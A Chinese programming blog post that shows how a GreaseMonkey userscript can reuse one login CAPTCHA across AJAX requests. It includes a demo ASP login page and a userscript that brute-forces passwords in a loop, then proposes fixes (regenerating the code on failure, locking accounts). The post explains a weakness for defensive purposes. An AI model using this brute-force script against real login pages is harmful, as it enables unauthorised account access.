GreaseMonkey让网站登录验证码形同虚设

通常,为了增加暴力猜解网站用户密码的难度,我们会在网页登录框中增加一个验证码,验证码保存在服务器端,而客户端则使用一张图片显示:

验证码在整个登录过程表现为:用户打开登录页面时,服务器产生一个验证码,点击登录后,跳转到登录页面,服务器端检查用户输入的验证码是否正确,若错误,跳回到登录页面,生成一个新验证码让用户再次输入登录。注意,生成新验证码的条件是登录页面刷新了!

以前没觉得这有什么问题,今天了解12306自动登录脚本后,发现这问题太严重了,当使用GreaseMonkey时,简直可以无视验证码的存在,原因是借助GreaseMonkey可以在页面使用Ajax提交表单进行登录,这过程不会刷新登录页面,所以服务器不会生成新验证码,因而只要手工输下验证码,脚本就可以不断尝试登录进行猜解用户名密码!

1.GreaseMonkey自动登录演示

为了减少代码量,便于说明问题,下边演示时验证码不转为图形,直接输出Session,效果一样,不影响结论。

Default.asp:

  1. <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>  
  2. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  3. <html xmlns="http://www.w3.org/1999/xhtml">  
  4. <head>  
  5. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  6. <title>登录演示</title>  
  7. </head> 
  8.  
  9. <body>  
  10. <%  
  11. Randomize  
  12. SESSION("passCode") = Int(8999*Rnd+1000) '生成验证码  
  13. %>  
  14. <form id="form1" name="form1" method="post" action="Login.asp">  
  15. 用户名:<input type="text" name="txtUsn" id="txtUsn" /><br />  
  16. 密码:<input type="text" name="txtUsp" id="txtUsp" /><br />  
  17. 验证码:<input type="text" name="txtPassCode" id="txtPassCode" /><%=SESSION("passCode")%> <br />  
  18. <input type="submit" name="btn1" id="btn1" value="提交" />  
  19. </form>  
  20. </body>  
  21. </html> 

Login.asp:

  1. <%  
  2. Response.Charset = "utf-8" 
  3.  
  4. Dim usn, usp, code, msg  
  5. usn = Request.Form("txtUsn")  
  6. usp = Request.Form("txtUsp")  
  7. code = Request.Form("txtPassCode"
  8.  
  9. Response.Write(Login(usn, usp, code)) 
  10.  
  11. '登录函数  
  12. Function Login(usn, usp, code)  
  13. If SESSION("Login") = True Then  
  14. Login = "登录成功."  
  15. Else  
  16. If usn<>"" And usp<>"" Then  
  17. If code<>CStr(SESSION("passCode")) Then  
  18. Login = "验证码出错,请重新输入."  
  19. Exit Function  
  20. End If 
  21.  
  22. If usn="admin" And usp="admin888" Then  
  23. SESSION("Login") = True  
  24. Login = "登录成功."  
  25. Else  
  26. Login = "用户名或密码出错,请重新输入."  
  27. End If  
  28. Else  
  29. Login = "用户未登录."  
  30. End If  
  31. End If  
  32. End Function  
  33. %> 

GreaseMonkey脚本:

  1. // ==UserScript==  
  2. // @name 自动登录  
  3. // @namespace com.mzwu  
  4. // @include http://localhost/default.asp  
  5. // @require https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js  
  6. // ==/UserScript== 
  7.  
  8.  
  9. if(typeof($) != "undefined")  
  10. {  
  11. $("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登录测试\" />"); 
  12.  
  13. $("#btn2").click(function(){  
  14. var usn = "admin";  
  15. var usp = "";  
  16. var code = $("#txtPassCode").val();  
  17. var responseText = "";  
  18. var i = 0; 
  19.  
  20. while(responseText.indexOf("登录成功") == -1)  
  21. {  
  22. usp = "admin88" + (++i); //猜解密码  
  23. $.ajax({  
  24. type : "POST",  
  25. url : "Login.asp?r=" + Math.random(),  
  26. data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,  
  27. async: false,  
  28. success : function(msg){  
  29. responseText = msg;  
  30. if(responseText.indexOf("登录成功") != -1)  
  31. {  
  32. alert("登录成功.尝试次数:" + i);  
  33. location.href = "Login.asp";  
  34. }  
  35. }  
  36. });  
  37. }  
  38. }); 
  39.  
  40. clearInteval(timer);  

测试结果:


2.解决方法

提供两种解决方法供参考:

方法一:当验证登录用户名或密码出错时,服务器端强制生成新验证码;

方法二:当尝试登录5次失败时,将帐户锁定一段时间不能登录;

转载请注明:代码家园 » GreaseMonkey让网站登录验证码形同虚设

评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)